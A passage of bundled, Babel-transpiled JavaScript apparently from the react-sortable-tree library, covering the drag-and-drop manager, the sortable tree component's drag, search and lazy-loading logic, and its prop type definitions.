last insert operation are different than this time, // recalculate the result if (argsArray.length !== savedArgsArray.length || argsArray.some(function (arg, index) { return arg !== savedArgsArray[index]; }) || keysArray.some(function (key, index) { return key !== savedKeysArray[index]; })) { savedArgsArray = argsArray; savedKeysArray = keysArray; savedResult = f(args); } return savedResult; }; }; var memoizedInsertNode = memoize(insertNode); var memoizedGetFlatDataFromTree = memoize(getFlatDataFromTree); var memoizedGetDescendantCount = memoize(getDescendantCount); var DndManager = /*#__PURE__*/function () { function DndManager(treeRef) { _classCallCheck(this, DndManager); this.treeRef = treeRef; } _createClass(DndManager, [{ key: "startDrag", get: function get() { return this.treeRef.startDrag; } }, { key: "dragHover", get: function get() { return this.treeRef.dragHover; } }, { key: "endDrag", get: function get() { return this.treeRef.endDrag; } }, { key: "drop", get: function get() { return this.treeRef.drop; } }, { key: "treeId", get: function get() { return this.treeRef.treeId; } }, { key: "dndType", get: function get() { return this.treeRef.dndType; } }, { key: "treeData", get: function get() { return this.treeRef.state.draggingTreeData || this.treeRef.props.treeData; } }, { key: "getNodeKey", get: function get() { return this.treeRef.props.getNodeKey; } }, { key: "customCanDrop", get: function get() { return this.treeRef.props.canDrop; } }, { key: "maxDepth", get: function get() { return this.treeRef.props.maxDepth; } }, { key: "getTargetDepth", value: function getTargetDepth(dropTargetProps, monitor, component) { var dropTargetDepth = 0; var rowAbove = dropTargetProps.getPrevRow(); if (rowAbove) { var path = rowAbove.path; var aboveNodeCannotHaveChildren = !this.treeRef.canNodeHaveChildren(rowAbove.node); if (aboveNodeCannotHaveChildren) { path = path.slice(0, path.length - 1); } // Limit the length of the path to the deepest possible dropTargetDepth = Math.min(path.length, dropTargetProps.path.length); } var blocksOffset; var dragSourceInitialDepth = (monitor.getItem().path || []).length; // When adding node from external source if (monitor.getItem().treeId !== this.treeId) { // Ignore the tree depth of the source, if it had any to begin with dragSourceInitialDepth = 0; if (component) { var relativePosition = findDOMNode(component).getBoundingClientRect(); // eslint-disable-line react/no-find-dom-node var leftShift = monitor.getSourceClientOffset().x - relativePosition.left; blocksOffset = Math.round(leftShift / dropTargetProps.scaffoldBlockPxWidth); } else { blocksOffset = dropTargetProps.path.length; } } else { // handle row direction support var direction = dropTargetProps.rowDirection === 'rtl' ? -1 : 1; blocksOffset = Math.round(direction * monitor.getDifferenceFromInitialOffset().x / dropTargetProps.scaffoldBlockPxWidth); } var targetDepth = Math.min(dropTargetDepth, Math.max(0, dragSourceInitialDepth + blocksOffset - 1)); // If a maxDepth is defined, constrain the target depth if (typeof this.maxDepth !== 'undefined' && this.maxDepth !== null) { var draggedNode = monitor.getItem().node; var draggedChildDepth = getDepth(draggedNode); targetDepth = Math.max(0, Math.min(targetDepth, this.maxDepth - draggedChildDepth - 1)); } return targetDepth; } }, { key: "canDrop", value: function canDrop(dropTargetProps, monitor) { if (!monitor.isOver()) { return false; } var rowAbove = dropTargetProps.getPrevRow(); var abovePath = rowAbove ? rowAbove.path : []; var aboveNode = rowAbove ? rowAbove.node : {}; var targetDepth = this.getTargetDepth(dropTargetProps, monitor, null); // Cannot drop if we're adding to the children of the row above and // the row above is a function if (targetDepth >= abovePath.length && typeof aboveNode.children === 'function') { return false; } if (typeof this.customCanDrop === 'function') { var _monitor$getItem = monitor.getItem(), node = _monitor$getItem.node; var addedResult = memoizedInsertNode({ treeData: this.treeData, newNode: node, depth: targetDepth, getNodeKey: this.getNodeKey, minimumTreeIndex: dropTargetProps.listIndex, expandParent: true }); return this.customCanDrop({ node: node, prevPath: monitor.getItem().path, prevParent: monitor.getItem().parentNode, prevTreeIndex: monitor.getItem().treeIndex, // Equals -1 when dragged from external tree nextPath: addedResult.path, nextParent: addedResult.parentNode, nextTreeIndex: addedResult.treeIndex }); } return true; } }, { key: "wrapSource", value: function wrapSource(el) { var _this = this; var nodeDragSource = { beginDrag: function beginDrag(props) { _this.startDrag(props); return { node: props.node, parentNode: props.parentNode, path: props.path, treeIndex: props.treeIndex, treeId: props.treeId }; }, endDrag: function endDrag(props, monitor) { _this.endDrag(monitor.getDropResult()); }, isDragging: function isDragging(props, monitor) { var dropTargetNode = monitor.getItem().node; var draggedNode = props.node; return draggedNode === dropTargetNode; } }; function nodeDragSourcePropInjection(connect, monitor) { return { connectDragSource: connect.dragSource(), connectDragPreview: connect.dragPreview(), isDragging: monitor.isDragging(), didDrop: monitor.didDrop() }; } return DragSource(this.dndType, nodeDragSource, nodeDragSourcePropInjection)(el); } }, { key: "wrapTarget", value: function wrapTarget(el) { var _this2 = this; var nodeDropTarget = { drop: function drop(dropTargetProps, monitor, component) { var result = { node: monitor.getItem().node, path: monitor.getItem().path, treeIndex: monitor.getItem().treeIndex, treeId: _this2.treeId, minimumTreeIndex: dropTargetProps.treeIndex, depth: _this2.getTargetDepth(dropTargetProps, monitor, component) }; _this2.drop(result); return result; }, hover: function hover(dropTargetProps, monitor, component) { var targetDepth = _this2.getTargetDepth(dropTargetProps, monitor, component); var draggedNode = monitor.getItem().node; var needsRedraw = // Redraw if hovered above different nodes dropTargetProps.node !== draggedNode || // Or hovered above the same node but at a different depth targetDepth !== dropTargetProps.path.length - 1; if (!needsRedraw) { return; } // throttle `dragHover` work to available animation frames cancelAnimationFrame(_this2.rafId); _this2.rafId = requestAnimationFrame(function () { _this2.dragHover({ node: draggedNode, path: monitor.getItem().path, minimumTreeIndex: dropTargetProps.listIndex, depth: targetDepth }); }); }, canDrop: this.canDrop.bind(this) }; function nodeDropTargetPropInjection(connect, monitor) { var dragged = monitor.getItem(); return { connectDropTarget: connect.dropTarget(), isOver: monitor.isOver(), canDrop: monitor.canDrop(), draggedNode: dragged ? dragged.node : null }; } return DropTarget(this.dndType, nodeDropTarget, nodeDropTargetPropInjection)(el); } }, { key: "wrapPlaceholder", value: function wrapPlaceholder(el) { var _this3 = this; var placeholderDropTarget = { drop: function drop(dropTargetProps, monitor) { var _monitor$getItem2 = monitor.getItem(), node = _monitor$getItem2.node, path = _monitor$getItem2.path, treeIndex = _monitor$getItem2.treeIndex; var result = { node: node, path: path, treeIndex: treeIndex, treeId: _this3.treeId, minimumTreeIndex: 0, depth: 0 }; _this3.drop(result); return result; } }; function placeholderPropInjection(connect, monitor) { var dragged = monitor.getItem(); return { connectDropTarget: connect.dropTarget(), isOver: monitor.isOver(), canDrop: monitor.canDrop(), draggedNode: dragged ? dragged.node : null }; } return DropTarget(this.dndType, placeholderDropTarget, placeholderPropInjection)(el); } }]); return DndManager; }(); /* eslint-disable import/prefer-default-export */ function slideRows(rows, fromIndex, toIndex) { var count = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 1; var rowsWithoutMoved = [].concat(_toConsumableArray(rows.slice(0, fromIndex)), _toConsumableArray(rows.slice(fromIndex + count))); return [].concat(_toConsumableArray(rowsWithoutMoved.slice(0, toIndex)), _toConsumableArray(rows.slice(fromIndex, fromIndex + count)), _toConsumableArray(rowsWithoutMoved.slice(toIndex))); } var treeIdCounter = 1; var mergeTheme = function mergeTheme(props) { var merged = _objectSpread2(_objectSpread2({}, props), {}, { style: _objectSpread2(_objectSpread2({}, props.theme.style), props.style), innerStyle: _objectSpread2(_objectSpread2({}, props.theme.innerStyle), props.innerStyle), reactVirtualizedListProps: _objectSpread2(_objectSpread2({}, props.theme.reactVirtualizedListProps), props.reactVirtualizedListProps) }); var overridableDefaults = { nodeContentRenderer: NodeRendererDefault, placeholderRenderer: PlaceholderRendererDefault, rowHeight: 62, scaffoldBlockPxWidth: 44, slideRegionSize: 100, treeNodeRenderer: TreeNode }; Object.keys(overridableDefaults).forEach(function (propKey) { // If prop has been specified, do not change it // If prop is specified in theme, use the theme setting // If all else fails, fall back to the default if (props[propKey] === null) { merged[propKey] = typeof props.theme[propKey] !== 'undefined' ? props.theme[propKey] : overridableDefaults[propKey]; } }); return merged; }; var ReactSortableTree = /*#__PURE__*/function (_Component) { _inherits(ReactSortableTree, _Component); var _super = _createSuper(ReactSortableTree); function ReactSortableTree(props) { var _this; _classCallCheck(this, ReactSortableTree); _this = _super.call(this, props); var _mergeTheme = mergeTheme(props), dndType = _mergeTheme.dndType, nodeContentRenderer = _mergeTheme.nodeContentRenderer, treeNodeRenderer = _mergeTheme.treeNodeRenderer, isVirtualized = _mergeTheme.isVirtualized, slideRegionSize = _mergeTheme.slideRegionSize; _this.dndManager = new DndManager(_assertThisInitialized(_this)); // Wrapping classes for use with react-dnd _this.treeId = "rst__".concat(treeIdCounter); treeIdCounter += 1; _this.dndType = dndType || _this.treeId; _this.nodeContentRenderer = _this.dndManager.wrapSource(nodeContentRenderer); _this.treePlaceholderRenderer = _this.dndManager.wrapPlaceholder(TreePlaceholder); _this.treeNodeRenderer = _this.dndManager.wrapTarget(treeNodeRenderer); // Prepare scroll-on-drag options for this list if (isVirtualized) { _this.scrollZoneVirtualList = (lib_3 || withScrolling)(List); _this.vStrength = lib_2(slideRegionSize); _this.hStrength = lib_1(slideRegionSize); } _this.state = { draggingTreeData: null, draggedNode: null, draggedMinimumTreeIndex: null, draggedDepth: null, searchMatches: [], searchFocusTreeIndex: null, dragging: false, // props that need to be used in gDSFP or static functions will be stored here instanceProps: { treeData: [], ignoreOneTreeUpdate: false, searchQuery: null, searchFocusOffset: null } }; _this.toggleChildrenVisibility = _this.toggleChildrenVisibility.bind(_assertThisInitialized(_this)); _this.moveNode = _this.moveNode.bind(_assertThisInitialized(_this)); _this.startDrag = _this.startDrag.bind(_assertThisInitialized(_this)); _this.dragHover = _this.dragHover.bind(_assertThisInitialized(_this)); _this.endDrag = _this.endDrag.bind(_assertThisInitialized(_this)); _this.drop = _this.drop.bind(_assertThisInitialized(_this)); _this.handleDndMonitorChange = _this.handleDndMonitorChange.bind(_assertThisInitialized(_this)); return _this; } _createClass(ReactSortableTree, [{ key: "componentDidMount", value: function componentDidMount() { ReactSortableTree.loadLazyChildren(this.props, this.state); var stateUpdate = ReactSortableTree.search(this.props, this.state, true, true, false); this.setState(stateUpdate); // Hook into react-dnd state changes to detect when the drag ends // TODO: This is very brittle, so it needs to be replaced if react-dnd // offers a more official way to detect when a drag ends this.clearMonitorSubscription = this.props.dragDropManager.getMonitor().subscribeToStateChange(this.handleDndMonitorChange); } }, { key: "componentDidUpdate", value: // listen to dragging function componentDidUpdate(prevProps, prevState) { // if it is not the same then call the onDragStateChanged if (this.state.dragging !== prevState.dragging) { if (this.props.onDragStateChanged) { this.props.onDragStateChanged({ isDragging: this.state.dragging, draggedNode: this.state.draggedNode }); } } } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.clearMonitorSubscription(); } }, { key: "getRows", value: function getRows(treeData) { return memoizedGetFlatDataFromTree({ ignoreCollapsed: true, getNodeKey: this.props.getNodeKey, treeData: treeData }); } }, { key: "handleDndMonitorChange", value: function handleDndMonitorChange() { var monitor = this.props.dragDropManager.getMonitor(); // If the drag ends and the tree is still in a mid-drag state, // it means that the drag was canceled or the dragSource dropped // elsewhere, and we should reset the state of this tree if (!monitor.isDragging() && this.state.draggingTreeData) { this.endDrag(); } } }, { key: "toggleChildrenVisibility", value: function toggleChildrenVisibility(_ref) { var targetNode = _ref.node, path = _ref.path; var instanceProps = this.state.instanceProps; var treeData = changeNodeAtPath({ treeData: instanceProps.treeData, path: path, newNode: function newNode(_ref2) { var node = _ref2.node; return _objectSpread2(_objectSpread2({}, node), {}, { expanded: !node.expanded }); }, getNodeKey: this.props.getNodeKey }); this.props.onChange(treeData); this.props.onVisibilityToggle({ treeData: treeData, node: targetNode, expanded: !targetNode.expanded, path: path }); } }, { key: "moveNode", value: function moveNode(_ref3) { var node = _ref3.node, prevPath = _ref3.path, prevTreeIndex = _ref3.treeIndex, depth = _ref3.depth, minimumTreeIndex = _ref3.minimumTreeIndex; var _insertNode = insertNode({ treeData: this.state.draggingTreeData, newNode: node, depth: depth, minimumTreeIndex: minimumTreeIndex, expandParent: true, getNodeKey: this.props.getNodeKey }), treeData = _insertNode.treeData, treeIndex = _insertNode.treeIndex, path = _insertNode.path, nextParentNode = _insertNode.parentNode; this.props.onChange(treeData); this.props.onMoveNode({ treeData: treeData, node: node, treeIndex: treeIndex, path: path, nextPath: path, nextTreeIndex: treeIndex, prevPath: prevPath, prevTreeIndex: prevTreeIndex, nextParentNode: nextParentNode }); } // returns the new state after search }, { key: "startDrag", value: function startDrag(_ref4) { var _this2 = this; var path = _ref4.path; this.setState(function (prevState) { var _removeNode = removeNode({ treeData: prevState.instanceProps.treeData, path: path, getNodeKey: _this2.props.getNodeKey }), draggingTreeData = _removeNode.treeData, draggedNode = _removeNode.node, draggedMinimumTreeIndex = _removeNode.treeIndex; return { draggingTreeData: draggingTreeData, draggedNode: draggedNode, draggedDepth: path.length - 1, draggedMinimumTreeIndex: draggedMinimumTreeIndex, dragging: true }; }); } }, { key: "dragHover", value: function dragHover(_ref5) { var _this3 = this; var draggedNode = _ref5.node, draggedDepth = _ref5.depth, draggedMinimumTreeIndex = _ref5.minimumTreeIndex; // Ignore this hover if it is at the same position as the last hover if (this.state.draggedDepth === draggedDepth && this.state.draggedMinimumTreeIndex === draggedMinimumTreeIndex) { return; } this.setState(function (_ref6) { var draggingTreeData = _ref6.draggingTreeData, instanceProps = _ref6.instanceProps; // Fall back to the tree data if something is being dragged in from // an external element var newDraggingTreeData = draggingTreeData || instanceProps.treeData; var addedResult = memoizedInsertNode({ treeData: newDraggingTreeData, newNode: draggedNode, depth: draggedDepth, minimumTreeIndex: draggedMinimumTreeIndex, expandParent: true, getNodeKey: _this3.props.getNodeKey }); var rows = _this3.getRows(addedResult.treeData); var expandedParentPath = rows[addedResult.treeIndex].path; return { draggedNode: draggedNode, draggedDepth: draggedDepth, draggedMinimumTreeIndex: draggedMinimumTreeIndex, draggingTreeData: changeNodeAtPath({ treeData: newDraggingTreeData, path: expandedParentPath.slice(0, -1), newNode: function newNode(_ref7) { var node = _ref7.node; return _objectSpread2(_objectSpread2({}, node), {}, { expanded: true }); }, getNodeKey: _this3.props.getNodeKey }), // reset the scroll focus so it doesn't jump back // to a search result while dragging searchFocusTreeIndex: null, dragging: true }; }); } }, { key: "endDrag", value: function endDrag(dropResult) { var _this4 = this; var instanceProps = this.state.instanceProps; var resetTree = function resetTree() { return _this4.setState({ draggingTreeData: null, draggedNode: null, draggedMinimumTreeIndex: null, draggedDepth: null, dragging: false }); }; // Drop was cancelled if (!dropResult) { resetTree(); } else if (dropResult.treeId !== this.treeId) { // The node was dropped in an external drop target or tree var node = dropResult.node, path = dropResult.path, treeIndex = dropResult.treeIndex; var shouldCopy = this.props.shouldCopyOnOutsideDrop; if (typeof shouldCopy === 'function') { shouldCopy = shouldCopy({ node: node, prevTreeIndex: treeIndex, prevPath: path }); } var treeData = this.state.draggingTreeData || instanceProps.treeData; // If copying is enabled, a drop outside leaves behind a copy in the // source tree if (shouldCopy) { treeData = changeNodeAtPath({ treeData: instanceProps.treeData, // use treeData unaltered by the drag operation path: path, newNode: function newNode(_ref8) { var copyNode = _ref8.node; return _objectSpread2({}, copyNode); }, // create a shallow copy of the node getNodeKey: this.props.getNodeKey }); } this.props.onChange(treeData); this.props.onMoveNode({ treeData: treeData, node: node, treeIndex: null, path: null, nextPath: null, nextTreeIndex: null, prevPath: path, prevTreeIndex: treeIndex }); } } }, { key: "drop", value: function drop(dropResult) { this.moveNode(dropResult); } }, { key: "canNodeHaveChildren", value: function canNodeHaveChildren(node) { var canNodeHaveChildren = this.props.canNodeHaveChildren; if (canNodeHaveChildren) { return canNodeHaveChildren(node); } return true; } // Load any children in the tree that are given by a function // calls the onChange callback on the new treeData }, { key: "renderRow", value: function renderRow(row, _ref9) { var listIndex = _ref9.listIndex, style = _ref9.style, getPrevRow = _ref9.getPrevRow, matchKeys = _ref9.matchKeys, swapFrom = _ref9.swapFrom, swapDepth = _ref9.swapDepth, swapLength = _ref9.swapLength; var node = row.node, parentNode = row.parentNode, path = row.path, lowerSiblingCounts = row.lowerSiblingCounts, treeIndex = row.treeIndex; var _mergeTheme2 = mergeTheme(this.props), canDrag = _mergeTheme2.canDrag, generateNodeProps = _mergeTheme2.generateNodeProps, scaffoldBlockPxWidth = _mergeTheme2.scaffoldBlockPxWidth, searchFocusOffset = _mergeTheme2.searchFocusOffset, rowDirection = _mergeTheme2.rowDirection; var TreeNodeRenderer = this.treeNodeRenderer; var NodeContentRenderer = this.nodeContentRenderer; var nodeKey = path[path.length - 1]; var isSearchMatch = (nodeKey in matchKeys); var isSearchFocus = isSearchMatch && matchKeys[nodeKey] === searchFocusOffset; var callbackParams = { node: node, parentNode: parentNode, path: path, lowerSiblingCounts: lowerSiblingCounts, treeIndex: treeIndex, isSearchMatch: isSearchMatch, isSearchFocus: isSearchFocus }; var nodeProps = !generateNodeProps ? {} : generateNodeProps(callbackParams); var rowCanDrag = typeof canDrag !== 'function' ? canDrag : canDrag(callbackParams); var sharedProps = { treeIndex: treeIndex, scaffoldBlockPxWidth: scaffoldBlockPxWidth, node: node, path: path, treeId: this.treeId, rowDirection: rowDirection }; return /*#__PURE__*/React.createElement(TreeNodeRenderer, _extends({ style: style, key: nodeKey, listIndex: listIndex, getPrevRow: getPrevRow, lowerSiblingCounts: lowerSiblingCounts, swapFrom: swapFrom, swapLength: swapLength, swapDepth: swapDepth }, sharedProps), /*#__PURE__*/React.createElement(NodeContentRenderer, _extends({ parentNode: parentNode, isSearchMatch: isSearchMatch, isSearchFocus: isSearchFocus, canDrag: rowCanDrag, toggleChildrenVisibility: this.toggleChildrenVisibility }, sharedProps, nodeProps))); } }, { key: "render", value: function render() { var _this5 = this; var _mergeTheme3 = mergeTheme(this.props), dragDropManager = _mergeTheme3.dragDropManager, style = _mergeTheme3.style, className = _mergeTheme3.className, innerStyle = _mergeTheme3.innerStyle, rowHeight = _mergeTheme3.rowHeight, isVirtualized = _mergeTheme3.isVirtualized, placeholderRenderer = _mergeTheme3.placeholderRenderer, reactVirtualizedListProps = _mergeTheme3.reactVirtualizedListProps, getNodeKey = _mergeTheme3.getNodeKey, rowDirection = _mergeTheme3.rowDirection; var _this$state = this.state, searchMatches = _this$state.searchMatches, searchFocusTreeIndex = _this$state.searchFocusTreeIndex, draggedNode = _this$state.draggedNode, draggedDepth = _this$state.draggedDepth, draggedMinimumTreeIndex = _this$state.draggedMinimumTreeIndex, instanceProps = _this$state.instanceProps; var treeData = this.state.draggingTreeData || instanceProps.treeData; var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; var rows; var swapFrom = null; var swapLength = null; if (draggedNode && draggedMinimumTreeIndex !== null) { var addedResult = memoizedInsertNode({ treeData: treeData, newNode: draggedNode, depth: draggedDepth, minimumTreeIndex: draggedMinimumTreeIndex, expandParent: true, getNodeKey: getNodeKey }); var swapTo = draggedMinimumTreeIndex; swapFrom = addedResult.treeIndex; swapLength = 1 + memoizedGetDescendantCount({ node: draggedNode }); rows = slideRows(this.getRows(addedResult.treeData), swapFrom, swapTo, swapLength); } else { rows = this.getRows(treeData); } // Get indices for rows that match the search conditions var matchKeys = {}; searchMatches.forEach(function (_ref10, i) { var path = _ref10.path; matchKeys[path[path.length - 1]] = i; }); // Seek to the focused search result if there is one specified var scrollToInfo = searchFocusTreeIndex !== null ? { scrollToIndex: searchFocusTreeIndex } : {}; var containerStyle = style; var list; if (rows.length < 1) { var Placeholder = this.treePlaceholderRenderer; var PlaceholderContent = placeholderRenderer; list = /*#__PURE__*/React.createElement(Placeholder, { treeId: this.treeId, drop: this.drop }, /*#__PURE__*/React.createElement(PlaceholderContent, null)); } else if (isVirtualized) { containerStyle = _objectSpread2({ height: '100%' }, containerStyle); var ScrollZoneVirtualList = this.scrollZoneVirtualList; // Render list with react-virtualized list = /*#__PURE__*/React.createElement(AutoSizer, null, function (_ref11) { var height = _ref11.height, width = _ref11.width; return /*#__PURE__*/React.createElement(ScrollZoneVirtualList, _extends({}, scrollToInfo, { dragDropManager: dragDropManager, verticalStrength: _this5.vStrength, horizontalStrength: _this5.hStrength, speed: 30, scrollToAlignment: "start", className: "rst__virtualScrollOverride", width: width, onScroll: function onScroll(_ref12) { var scrollTop = _ref12.scrollTop; _this5.scrollTop = scrollTop; }, height: height, style: innerStyle, rowCount: rows.length, estimatedRowSize: typeof rowHeight !== 'function' ? rowHeight : undefined, rowHeight: typeof rowHeight !== 'function' ? rowHeight : function (_ref13) { var index = _ref13.index; return rowHeight({ index: index, treeIndex: index, node: rows[index].node, path: rows[index].path }); }, rowRenderer: function rowRenderer(_ref14) { var index = _ref14.index, rowStyle = _ref14.style; return _this5.renderRow(rows[index], { listIndex: index, style: rowStyle, getPrevRow: function getPrevRow() { return rows[index - 1] || null; }, matchKeys: matchKeys, swapFrom: swapFrom, swapDepth: draggedDepth, swapLength: swapLength }); } }, reactVirtualizedListProps)); }); } else { // Render list without react-virtualized list = rows.map(function (row, index) { return _this5.renderRow(row, { listIndex: index, style: { height: typeof rowHeight !== 'function' ? rowHeight : rowHeight({ index: index, treeIndex: index, node: row.node, path: row.path }) }, getPrevRow: function getPrevRow() { return rows[index - 1] || null; }, matchKeys: matchKeys, swapFrom: swapFrom, swapDepth: draggedDepth, swapLength: swapLength }); }); } return /*#__PURE__*/React.createElement("div", { className: classnames('rst__tree', className, rowDirectionClass), style: containerStyle }, list); } }], [{ key: "getDerivedStateFromProps", value: function getDerivedStateFromProps(nextProps, prevState) { var instanceProps = prevState.instanceProps; var newState = {}; var isTreeDataEqual = isEqual(instanceProps.treeData, nextProps.treeData); // make sure we have the most recent version of treeData instanceProps.treeData = nextProps.treeData; if (!isTreeDataEqual) { if (instanceProps.ignoreOneTreeUpdate) { instanceProps.ignoreOneTreeUpdate = false; } else { newState.searchFocusTreeIndex = null; ReactSortableTree.loadLazyChildren(nextProps, prevState); Object.assign(newState, ReactSortableTree.search(nextProps, prevState, false, false, false)); } newState.draggingTreeData = null; newState.draggedNode = null; newState.draggedMinimumTreeIndex = null; newState.draggedDepth = null; newState.dragging = false; } else if (!isEqual(instanceProps.searchQuery, nextProps.searchQuery)) { Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, false)); } else if (instanceProps.searchFocusOffset !== nextProps.searchFocusOffset) { Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, true)); } instanceProps.searchQuery = nextProps.searchQuery; instanceProps.searchFocusOffset = nextProps.searchFocusOffset; newState.instanceProps = _objectSpread2(_objectSpread2({}, instanceProps), newState.instanceProps); return newState; } }, { key: "search", value: function search(props, state, seekIndex, expand, singleSearch) { var onChange = props.onChange, getNodeKey = props.getNodeKey, searchFinishCallback = props.searchFinishCallback, searchQuery = props.searchQuery, searchMethod = props.searchMethod, searchFocusOffset = props.searchFocusOffset, onlyExpandSearchedNodes = props.onlyExpandSearchedNodes; var instanceProps = state.instanceProps; // Skip search if no conditions are specified if (!searchQuery && !searchMethod) { if (searchFinishCallback) { searchFinishCallback([]); } return { searchMatches: [] }; } var newState = { instanceProps: {} }; // if onlyExpandSearchedNodes collapse the tree and search var _find = find({ getNodeKey: getNodeKey, treeData: onlyExpandSearchedNodes ? toggleExpandedForAll({ treeData: instanceProps.treeData, expanded: false }) : instanceProps.treeData, searchQuery: searchQuery, searchMethod: searchMethod || defaultSearchMethod, searchFocusOffset: searchFocusOffset, expandAllMatchPaths: expand && !singleSearch, expandFocusMatchPaths: !!expand }), expandedTreeData = _find.treeData, searchMatches = _find.matches; // Update the tree with data leaving all paths leading to matching nodes open if (expand) { newState.instanceProps.ignoreOneTreeUpdate = true; // Prevents infinite loop onChange(expandedTreeData); } if (searchFinishCallback) { searchFinishCallback(searchMatches); } var searchFocusTreeIndex = null; if (seekIndex && searchFocusOffset !== null && searchFocusOffset < searchMatches.length) { searchFocusTreeIndex = searchMatches[searchFocusOffset].treeIndex; } newState.searchMatches = searchMatches; newState.searchFocusTreeIndex = searchFocusTreeIndex; return newState; } }, { key: "loadLazyChildren", value: function loadLazyChildren(props, state) { var instanceProps = state.instanceProps; walk({ treeData: instanceProps.treeData, getNodeKey: props.getNodeKey, callback: function callback(_ref15) { var node = _ref15.node, path = _ref15.path, lowerSiblingCounts = _ref15.lowerSiblingCounts, treeIndex = _ref15.treeIndex; // If the node has children defined by a function, and is either expanded // or set to load even before expansion, run the function. if (node.children && typeof node.children === 'function' && (node.expanded || props.loadCollapsedLazyChildren)) { // Call the children fetching function node.children({ node: node, path: path, lowerSiblingCounts: lowerSiblingCounts, treeIndex: treeIndex, // Provide a helper to append the new data when it is received done: function done(childrenArray) { return props.onChange(changeNodeAtPath({ treeData: instanceProps.treeData, path: path, newNode: function newNode(_ref16) { var oldNode = _ref16.node; return (// Only replace the old node if it's the one we set off to find children // for in the first place oldNode === node ? _objectSpread2(_objectSpread2({}, oldNode), {}, { children: childrenArray }) : oldNode ); }, getNodeKey: props.getNodeKey })); } }); } } }); } }]); return ReactSortableTree; }(Component); ReactSortableTree.propTypes = { dragDropManager: PropTypes.shape({ getMonitor: PropTypes.func }).isRequired, // Tree data in the following format: // [{title: 'main', subtitle: 'sub'}, { title: 'value2', expanded: true, children: [{ title: 'value3') }] }] // `title` is the primary label for the node // `subtitle` is a secondary label for the node // `expanded` shows children of the node if true, or hides them if false. Defaults to false. // `children` is an array of child nodes belonging to the node. treeData: PropTypes.arrayOf(PropTypes.object).isRequired, // Style applied to the container wrapping the tree (style defaults to {height: '100%'}) style: PropTypes.shape({}), // Class name for the container wrapping the tree className: PropTypes.string, // Style applied to the inner, scrollable container (for padding, etc.) innerStyle: PropTypes.shape({}), // Used by react-virtualized // Either a fixed row height (number) or a function that returns the // height of a row given its index: `({ index: number }): number` rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]), // Size in px of the region near the edges that initiates scrolling on dragover slideRegionSize: PropTypes.number, // Custom properties to hand to the react-virtualized list // https://github.com/bvaughn/react-virtualized/blob/master/docs/List.md#prop-types reactVirtualizedListProps: PropTypes.shape({}), // The width of the blocks containing the lines representing the structure of the tree. scaffoldBlockPxWidth: PropTypes.number, // Maximum depth nodes can be inserted at. Defaults to infinite. maxDepth: PropTypes.number, // The method used to search nodes. // Defaults to a function that uses the `searchQuery` string to search for nodes with // matching `title` or `subtitle` values. // NOTE: Changing `searchMethod` will not update the search, but changing the `searchQuery` will. searchMethod: PropTypes.func, // Used by the `searchMethod` to highlight and scroll to matched nodes. // Should be a string for the default `searchMethod`, but can be anything when using a custom search. searchQuery: PropTypes.any, // eslint-disable-line react/forbid-prop-types // Outline the <`searchFocusOffset`>th node and scroll to it. searchFocusOffset: PropTypes.number, // Get the nodes that match the search criteria. Used for counting total matches, etc. searchFinishCallback: PropTypes.func, // Generate an object with additional props to be passed to the node renderer. // Use this for adding buttons via the `buttons` key, // or additional `style` / `className` settings. generateNodeProps: PropTypes.func, // Set to false to disable virtualization. // NOTE: Auto-scrolling while dragging, and scrolling to the `searchFocusOffset` will be disabled. isVirtualized: PropTypes.bool, treeNodeRenderer: PropTypes.func, // Override the default component for rendering nodes (but keep the scaffolding generator) // This is an advanced option for complete customization of the appearance. // It is best to copy the component in `node-renderer-default.js` to use as a base, and customize as needed. nodeContentRenderer: PropTypes.func, // Override the default component for rendering an empty tree // This is an advanced option for complete customization of the appearance. // It is best to copy the component in `placeholder-renderer-default.js` to use as a base, // and customize as needed. placeholderRenderer: PropTypes.func, theme: PropTypes.shape({ style: PropTypes.shape({}), innerStyle: PropTypes.shape({}), reactVirtualizedListProps: PropTypes.shape({}), scaffoldBlockPxWidth: PropTypes.number, slideRegionSize: PropTypes.number, rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]), treeNodeRenderer: PropTypes.func, nodeContentRenderer: PropTypes.func, placeholderRenderer: PropTypes.func }), // Determine the unique key used to identify each node and // generate the `path` array passed in callbacks. // By default, returns the index in the tree (omitting hidden nodes). getNodeKey: PropTypes.func, // Called whenever tree data changed. // Just like with React input elements, you have to update your // own component's data to see the changes reflected. onChange: PropTypes.func.isRequired, // Called after node move operation. onMoveNode: PropTypes.func, // Determine whether a node can be dragged. Set to false to disable dragging on all nodes. canDrag: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]), // Determine whether a node can be dropped based on its path and parents'. canDrop: PropTypes.func, // Determine whether a node can have children canNodeHaveChildren: PropTypes.func, // When true, or a callback returning true, dropping nodes to react-dnd // drop targets outside of this tree will not remove them from this tree shouldCopyOnOutsideDrop: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]), // Called after children nodes collapsed or expanded. onVisibilityToggle: PropTypes.func, dndType: PropTypes.string, // Called to track between dropped and dragging onDragStateChanged: PropTypes.func, // Specify that nodes that do not match search will be collapsed onlyExpandSearchedNodes: PropTypes.bool, // rtl support rowDirection: PropTypes.string }; ReactSortableTree.defaultProps = { canDrag: true, canDrop: null, canNodeHaveChildren: function canNodeHaveChildren() { return true; }, className: '', dndType: null, generateNodeProps: null, getNodeKey: defaultGetNodeKey, innerStyle: {}, isVirtualized: true, maxDepth: null, treeNodeRenderer: null, nodeContentRenderer: null, onMoveNode: function onMoveNode() {}, onVisibilityToggle: function onVisibilityToggle() {}, placeholderRenderer: null, reactVirtualizedListProps: {}, rowHeight: null, scaffoldBlockPxWidth: null, searchFinishCallback: null, searchFocusOffset: null, searchMethod: null, searchQuery: null, shouldCopyOnOutsideDrop: false, slideRegionSize: null, style: {}, theme: {}, onDragStateChanged: function onDragStateChanged() {}, onlyExpandSearchedNodes: false, rowDirection: 'ltr' }; polyfill$1(ReactSortableTree); var SortableTreeWithoutDndContext = function SortableTreeWithoutDndContext(props) { return /*#__PURE__*/React.createElement(DndContext.Consumer, null, function (_ref17) { var dragDropManager = _ref17.dragDropManager; return dragDropManager === undefined ? null : /*#__PURE__*/React.createElement(ReactSortableTree, _extends({}, props, { dragDropManager: dragDropManager })); }); }; var 